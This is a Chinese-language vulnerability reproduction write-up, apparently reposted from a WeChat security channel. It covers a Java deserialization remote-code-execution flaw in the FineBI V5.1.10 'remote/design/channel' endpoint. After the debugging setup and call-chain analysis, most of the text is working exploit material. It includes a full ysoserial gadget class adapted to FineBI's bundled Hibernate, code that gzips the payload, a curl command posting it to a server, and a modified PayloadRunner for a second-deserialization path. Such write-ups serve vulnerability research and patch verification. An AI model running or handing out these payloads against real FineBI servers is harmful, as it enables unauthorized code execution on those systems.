1.安装
复现版本:FineBI V5.1.10
安装后,后台地址 webroot/decision/login
2.反编译
找到所有以fine开头的包,复制到单独文件夹进行反编译
3.漏洞复现
在fine-decision-report-11.0/com/fr/decision/extension/report/api/remote/RemoteDesignResource.java
文件中找到目录路由
漏洞路由
http://localhost:37799/webroot/decision/remote/design/channel
但是在帆软的官方安装包下,没有找到调试的方法,我们把源代码webroot
放到tomcat的webapps
目录下
设置tomcat debug
mac
chmod u+x *.sh
新增文件setenv.sh
JPDA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
然后再修改startup.sh,将最后一句改写成
exec"$PRGDIR"/"$EXECUTABLE" jpda start "$@"
windows
setenv.bat
set JPDA_ADDRESS=5005
set JPDA_TRANSPORT=dt_socket
startup.bat 加上jpda
call "%EXECUTABLE%" jpda start%CMD_LINE_ARGS%
然后通过jdk1.8,通过Windows启动tomcat,成功启动
但是经过测试,帆软清除了java包里面的行信息,导致在代码里面下断点,但是还是可以在方法中下断点的。
代码分析
输入的input流最后,经过层层转转以后到了InvocationSerializer
class的deserialize
方法
大概流程如下:
传递到WorkspaceServerInvoker
的handleMessage
方法
然后继续调用this.deserializeInvocation
方法
SerializerHelper
的deserialize
方法
然后进入InvocationSerializer
的deserialize
方法
然后在这里就触发了readObject方法
为了方便测试漏洞,我们可以直接写一个class来进行触发
package Main;
import com.fr.rpc.serialization.InvocationSerializer;
import java.io.File;
import java.io.FileInputStream;
publicclassMain {
publicstaticvoidmain(String[] args)throws Exception {
Filefile=newFile("./test.bin");
FileInputStreamfileInputStream=newFileInputStream(file);
InvocationSerializerinvocationSerializer= InvocationSerializer.getDefault();
invocationSerializer.deserialize(fileInputStream);
}
}
Java反序列化
首先我们学习一下Java反序列化的知识
User.java
package Main;
import java.io.Serializable;
publicclassUserimplementsSerializable {
publicint age;
public String name;
publicUser(int age, String name) {
this.age = age;
this.name = name;
}
privatevoidreadObject(java.io.ObjectInputStream stream)throws Exception {
stream.defaultReadObject();
System.out.println("User readObject");
}
}
Main.java
package Main;
import com.fr.rpc.serialization.InvocationSerializer;
import java.io.*;
import java.util.HashMap;
import java.util.Objects;
publicclassMain {
publicstaticvoidmain(String[] args)throws Exception {
Useruser=newUser(18, "mbx");
FileOutputStreamfileOutputStream=newFileOutputStream("./test.bin");
ObjectOutputStreamobjectOutputStream=newObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(user);
objectOutputStream.close();
//
FileInputStream fileIn = new FileInputStream("./test.bin");
ObjectInputStream in = new ObjectInputStream(fileIn);
File file = (File) in.readObject();
}
}
执行以后,readobject方法成功执行
比较容易出反序列化漏洞的就是重写了readObject
方法,还有就是hashCode
方法,反序列化Hashmap触发readObject
的时候就会触发hashCode
方法。
构造Exp
ysoserial项目下新增一个文件src/main/java/ysoserial/payloads/FineHibernate1.java
这个文件是个根据Hibernate1这个文件改来的,替换了部分帆软包名·
package ysoserial.payloads;
import com.fr.third.org.hibernate.EntityMode;
import com.fr.third.org.hibernate.engine.spi.TypedValue;
import com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer;
import com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer;
import com.fr.third.org.hibernate.type.AbstractType;
import com.fr.third.org.hibernate.type.ComponentType;
import com.fr.third.org.hibernate.type.Type;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
*
* com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl.get()
* com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* com.fr.third.org.hibernate.type.ComponentType.getPropertyValue(C)
* com.fr.third.org.hibernate.type.ComponentType.getHashCode()
* com.fr.third.org.hibernate.engine.spi.TypedValue$1.initialize()
* com.fr.third.org.hibernate.engine.spi.TypedValue$1.initialize()
* com.fr.third.org.hibernate.internal.util.ValueHolder.getValue()
* com.fr.third.org.hibernate.engine.spi.TypedValue.hashCode()
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
* @author mbechler
*/
publicclassFineHibernate1implementsObjectPayload<Object>, DynamicDependencies {
publicstaticbooleanisApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
publicstatic String[] getDependencies () {
if ( System.getProperty("hibernate5") != null ) {
returnnewString[] {
"com.fr.third.org.hibernate:hibernate-core:5.0.7.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2"
};
}
returnnewString[] {
"com.fr.third.org.hibernate:hibernate-core:4.3.11.Final", "aopalliance:aopalliance:1.0", "org.jboss.logging:jboss-logging:3.3.0.Final",
"javax.transaction:javax.transaction-api:1.2", "dom4j:dom4j:1.6.1"
};
}
publicstatic Object makeGetter( Class<?> tplClass, String method )throws Exception {
return makeHibernate5Getter(tplClass, method);
// return makeHibernate5Getter(tplClass, method);
// if ( System.getProperty("hibernate5") != null ) {
// return makeHibernate5Getter(tplClass, method);
// }
// return makeHibernate4Getter(tplClass, method);
}
public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,
SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("com.fr.third.org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
Reflections.setAccessible(bgCon);
if ( !method.startsWith("get") ) {
throw new IllegalArgumentException("Hibernate4 can only call getters");
}
String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);
Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
public static Object makeHibernate5Getter ( Class<?> tplClass, String method ) throws NoSuchMethodException, SecurityException,
ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
Class<?> getterIf = Class.forName("com.fr.third.org.hibernate.property.access.spi.Getter");
Class<?> basicGetter = Class.forName("com.fr.third.org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> bgCon = basicGetter.getConstructor(Class.class, String.class, Method.class);
Object g = bgCon.newInstance(tplClass, "test", tplClass.getDeclaredMethod(method));
Object arr = Array.newInstance(getterIf, 1);
Array.set(arr, 0, g);
return arr;
}
public Object getObject ( String command ) throws Exception {
Object tpl = Gadgets.createTemplatesImpl(command);
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
return makeCaller(tpl, getters);
}
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
if ( System.getProperty("hibernate3") != null ) {
return makeHibernate3Caller(tpl, getters);
}
return makeHibernate45Caller(tpl, getters);
}
static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
Reflections.setFieldValue(t, "componentTuplizer", tup);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[] {
t
});
TypedValue v1 = new TypedValue(t, null);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
TypedValue v2 = new TypedValue(t, null);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return Gadgets.makeMap(v1, v2);
}
static Object makeHibernate3Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
// Load at runtime to avoid dependency conflicts
Class entityEntityModeToTuplizerMappingClass = Class.forName("com.fr.third.org.hibernate.tuple.entity.EntityEntityModeToTuplizerMapping");
Class entityModeToTuplizerMappingClass = Class.forName("com.fr.third.org.hibernate.tuple.EntityModeToTuplizerMapping");
Class typedValueClass = Class.forName("com.fr.third.org.hibernate.engine.TypedValue");
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
HashMap hm = new HashMap();
hm.put(EntityMode.POJO, tup);
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{ Map.class }, new Object[]{ hm });
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
Reflections.setFieldValue(t, "propertySpan", 1);
Reflections.setFieldValue(t, "propertyTypes", new Type[] {
t
});
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v1, "value", tpl);
Reflections.setFieldValue(v1, "type", t);
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
Reflections.setFieldValue(v2, "value", tpl);
Reflections.setFieldValue(v2, "type", t);
return Gadgets.makeMap(v1, v2);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(FineHibernate1.class, args);
}
}
转换成gzip的文件
FileInputStream fileIn = new FileInputStream("./test.bin");
byte[] var3 = IOUtils.inputStream2Bytes(fileIn);
OutputStream out = new GZIPOutputStream(new FileOutputStream("./g.bin"));
out.write(var3);
out.close();
FileInputStream gfileIn = new FileInputStream("./g.bin");
byte[] var4 = IOUtils.inputStream2Bytes(gfileIn);
WorkContext.setMessageHandler(new WorkspaceServerInvoker());
WorkContext.handleMessage(var4);
通过curl发送payload
curl --data-binary @g.bin http://192.168.3.168:8080/webroot/decision/remote/design/channel
二次反序列化漏洞复现
在readParams方法中,存在二次反序列化
修改PayloadRunner
的run
方法
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>() {
public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
System.out.println("generating payload object(s) for command: '" + command + "'");
ObjectPayload<?> payload = clazz.newInstance();
final Object objBefore = payload.getObject(command);
System.out.println("serializing payload");
byte[] ser = Serializer.serialize(objBefore);
//FileOutputStream fileOutputStream = new FileOutputStream("test.bin");
//InvocationSerializer invocationSerializer = new InvocationSerializer(null);
//Method method = invocationSerializer.getClass().getDeclaredMethod("writeParams", Object[].class);
//method.setAccessible(true);
//Object[] myArgs = new Object[1];
//myArgs[0] = objBefore;
//method.invoke(myArgs);
//fileOutputStream.write(Serializer.serialize(invocationSerializer));
//fileOutputStream.close();
//InvocationPack invocationPack = new InvocationPack()
Class<?>[] innerClasses = InvocationSerializer.class.getDeclaredClasses();
Class<?> innerClass = null;
for (Class<?> cls : innerClasses) {
if (cls.getSimpleName().equals("InvocationPack")) {
innerClass = cls;
}
}
Constructor<?> constructor = innerClass.getDeclaredConstructor(String.class, String.class, Class[].class, byte[][].class);
constructor.setAccessible(true);
InvocationSerializer invocationSerializer = new InvocationSerializer(null);
byte[] s = ser;
byte[][] b = new byte[1][];
b[0] = new byte[ser.length];
System.arraycopy(ser, 0, b[0], 0, ser.length);
Class[] c = new Class[]{String.class};
Object innerObject = constructor.newInstance( "a", "a", c, b);
//byte[] ser2 = Serializer.serialize(innerObject);
//FileOutputStream fileOutputStream = new FileOutputStream("2test.bin");
//fileOutputStream.write(ser2);
Map map = new HashMap<String,String>();
//fileOutputStream.write(Serializer.serialize(map));
//fileOutputStream.close();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.txt"));
oos.writeObject(innerObject);
oos.writeObject(map);
Utils.releasePayload(payload, objBefore);
return ser;
}
});
try {
System.out.println("deserializing payload");
final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) {
e.printStackTrace();
}
}
原文始发于微信公众号(漏洞推送):帆软Finebi_V5.1.10_channel反序列化漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论